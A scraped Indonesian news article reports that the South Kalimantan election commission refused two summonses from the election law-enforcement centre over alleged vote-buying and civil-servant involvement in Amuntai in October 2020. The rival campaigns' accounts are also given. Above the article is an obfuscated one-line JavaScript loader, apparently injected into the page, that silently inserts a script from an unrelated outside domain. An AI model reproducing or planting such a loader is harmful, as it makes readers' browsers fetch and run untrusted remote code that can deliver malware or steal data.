(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Tak Penuhi Panggilan Bawaslu, KPU Kalsel: Kami Tak Bisa Dijadikan Saksi!


KANALKALIMANTAN.COM, BANJARMASIN – Kendati telah dipanggil sebanyak dua kali oleh Sentra Penegakan Hukum Terpadu (Gakkumdu) Provinsi Kalsel terkait dugaan pelanggaran Pilkada, KPU Provinsi Kalsel tidak memenuhi panggilan Sentra Gakkumdu. Ketua KPU Provinsi Kalsel Sarmuji pun angkat bicara.

Ditemui di kantornya pada Selasa (6/10/2020) sore, Sarmuji mengatakan, pihaknya tidak begitu mengetahui persis soal dugaan pelanggaran pemilu yang dilaporkan Tim Hukum pasangan calon (paslon) Denny Indrayana – Difriadi ke Sentra Gakkumdu Kalsel, baru-baru ini.

“Yang lebih tahu itu KPU RI yang ahli. Kami tidak bisa untuk (memenuhi) itu,” kata Sarmuji.

Walaupun Sarmuji mengakui telah dua kali menerima undangan pemanggilan dari Sentra Gakkumdu Kalsel sebagai saksi. Dirinya mengatakan KPU Provinsi Kalsel tidak bisa dijadikan sebagai saksi atas kasus dugaan pelanggaran pidana Pilkada ini. Alasannya, pihaknya tidak pernah menyaksikan tindakan itu.

“Kami jawab, bahwa kami tidak sebagai saksi dan kami tidak menyaksikan apa-apa. Kami diminta sebagai saksi, tapi kami tidak tahu kejadian apa-apa. Kemarin kami diminta sebagai saksi, tetapi tidak melihat apa-apa dan kejadiannya pun tidak tahu,” jelas Sarmuji.

Bahkan, disebutnya, KPU Provinsi Kalsel tidak bisa dijadikan sebagai saksi ahli. Karena, menurut Sarmuji, KPU Provinsi Kalsel sebagai penyelenggara pilkada harus berada pada posisi netral. “Kami harus posisi netral. Tetapi biarlah (saksi) ahli yang menentukan,” pungkas Sarmuji.

Sebelumnya, kasus dugaan pelanggaran pidana Pilkada yang dilaporkan tim hukum paslon Denny-Difri di Kabupaten Hulu Sungai Utara (HSU). Kordiv Penindakan Pelanggaran Bawaslu Provinsi Kalsel Azhar Ridhanie mengungkapkan, pihaknya belum melaksanakan pleno terkait laporan dugaan pelanggaran pidana Pemilu ini.

“Kami akan pleno dulu dengan pimpinan Bawaslu Provinsi Kalsel, yang mana akan kami lakukan pembahasan dengan Sentra Gakkumdu,” katanya, Selasa (6/10/2020) siang.

Aldo -sapaannya- menjelaskan, pada pleno akan membahas hasil klarifikasi, kajian maupun pemeriksaan sejumlah pihak. Hanya saja, pihaknya masih menunggu perspektif dari KPU Provinsi Kalsel untuk dimintai pandangan terkait dugaan pelanggaran itu. “KPU Provinsi Kalsel kami undang, namun mereka tidak berkenan hadir. Itu saja,” imbuh Aldo.

“Sebenarnya tidak masalah. Karena kita ingin meminta perspektif dari KPU saja. Orang mau berhadir atau tidak (bukan masalah), tetapi tentu saja rekomendasinya tetap ke KPU,” jelas Aldo.

Kendati demikian, Aldo menyebut ada konfirmasi dari staf Sekretariat KPU Provinsi Kalsel yang menginformasikan ketidakhadiran komisioner KPU Provinsi Kalsel untuk memenuhi undangan Sentra Gakkumdu Kalsel.

Lalu, kapan Sentra Gakkumdu Kalsel akan mengkaji laporan dugaan pelanggaran pemilu ini? “Hari ini kami terakhir melakukan kajian. (Karena) dua kali (KPU Provinsi Kalsel) kami lakukan pemanggilan (tak hadir), maka kami akan lakukan kajian langsung,” pungkas Aldo.

Di sisi lain, tim Hukum pasangan calon (paslon) Sahbirin Noor – Muhidin (BirinMu) membantah laporan yang disampaikan oleh Tim Hukum Denny Indrayana – Difriadi (H2D) ke Sentra Gakkumdu Bawaslu Provinsi Kalsel. Hal ini disampaikan oleh perwakilan Tim Hukum BirinMu, M. Imam Satria Jati di Kantor Bawaslu Provinsi Kalsel di Banjarmasin, Senin (5/10/2020) pagi.

“Penilaian kami, laporan yang disampaikan pelapor tidak memenuhi syarat formal dan materil. Sehingga menurut kami Bawaslu tidak menindaklanjuti dugaan pelanggaran pidana ini,” kata Imam.

Imam juga membantah adanya kegiatan kampanye maupun pelibatan aparatur sipil negara (ASN) yang baru-baru ini terjadi di Amuntai, Kabupaten Hulu Sungai Utara. Ia mengatakan, peristiwa yang dilaporkan Tim Hukum H2D tidak ada unsur dugaan politik uang.

“Kami menilai ada kronologis yang disampaikan oleh pihak-pihak yang tidak bertanggungjawab. Yang kemudian merugikan pihak kami dan mencemarkan nama baik Sahbirin Noor, maka kami akan melakukan tindakan laporan pidana ke kepolisian,” jelas Imam.

Kasus pelaporan dugaan tindak pidana pelanggaran Pemilihan Umum (Pemilu) yang dilaporkan oleh tim Divisi Hukum pasangan calon (paslon) Denny Indrayana – Difriadi Darjat ke Bawaslu Kalsel saat ini tengah bergulir. Pelapor yang tak lain merupakan Tim Divisi Hukum H2D, Jurkani, membeberkan peristiwa tersebut terjadi pada Selasa (29/9/2020) malam di salah satu warung yang berada di kawasan Paliwara, Amuntai, Kabupaten Hulu Sungai Utara (HSU).

“Dua orang saksi yang kita bawa sekarang ini melihat langsung kejadian yang diduga pelanggaran pemilu tadi,” kata Jurkani di Sentra Penegakkan Hukum Terpadu (Gakkumdu) Bawaslu Kalsel, Jumat (2/10/2020) siang.

Ia menceritakan, bahwa saat itu saksi sedang asik nongkrong bersama rekannya di warung yang memang menjadi tempat berkumpulnya kaula muda di Amuntai. “Di sana dia (saksi) melihat rombongan paslon salah satu peserta Pilgub Kalsel yang difasilitasi oleh salah satu oknum Aparatur Sipil Negara (ASN) pejabat eselon II di Kabupaten Hulu Sungai Utara,” bebernya.

Menurutnya, hal tersebut dikuatkan dengan bukti foto yang berhasil mereka dapat dari salah satu saksi. Di dalam warung tersebut, Jurkani mengatakan terjadi pembagian sarung bertuliskan nama salah satu calon Gubernur beserta jargonnya.

Tidak hanya itu, saksi yang ia bawa tadi menyebut bahwa di sana juga terjadi pembagian uang tunai sebesar Rp 50.000 kepada setiap warga yang berada di lokasi. Ia menyebut, uang ini dibagikan di luar warung oleh orang lain.

Kemudian, di tempat yang sama saksi juga melihat adanya seorang pejabat eselon II yang ditengarai mengetahui dan terlibat dalam proses kampanye tersebut. “Oknum ASN ini seakan-akan memfasilitasi salah satu paslon Gubernur untuk datang. Padahal di sana tidak ada agenda milik Pemerintah Kabupaten,” tukasnya sambil menunjukkan salah satu foto yang dijadikannya barang bukti. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Cell

 


Al Ghifari

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

4 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

7 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

11 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

11 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

11 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

13 jam ago

This website uses cookies.